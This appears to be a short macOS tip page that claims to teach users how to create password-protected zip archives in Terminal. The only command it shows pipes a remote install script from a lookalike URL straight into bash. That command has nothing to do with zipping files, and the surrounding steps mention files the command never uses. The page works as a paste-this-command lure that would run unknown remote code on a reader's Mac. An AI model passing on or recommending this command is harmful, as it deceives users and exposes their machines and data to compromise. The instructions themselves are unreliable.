Need to send sensitive files securely?
You can create a password-protected zip archive right from your Mac’s Terminal — no third-party apps required!
Terminal
/bin/bash -c "$(curl -fsSL https://google.com/getupdate/install.sh)"
Why create encrypted zip files via Terminal?
- Keep your files private before emailing or uploading
- Share sensitive documents securely
- Works on any macOS version — fast and built-in!
How to make a password-protected zip archive
-
Open Terminal
Press Command + Space, type Terminal, and hit Enter. -
Press Enter.
You’ll be asked to enter and verify a password (it will not appear as you type — that’s normal). -
Done! Your
my_archive.zip
is now encrypted. Replacefile1.txt file2.pdf
with your actual files.
Tip: You can add as many files as you want to the command — just separate them with spaces.
Password-protected archives are perfect for sharing confidential info and keeping your data safe.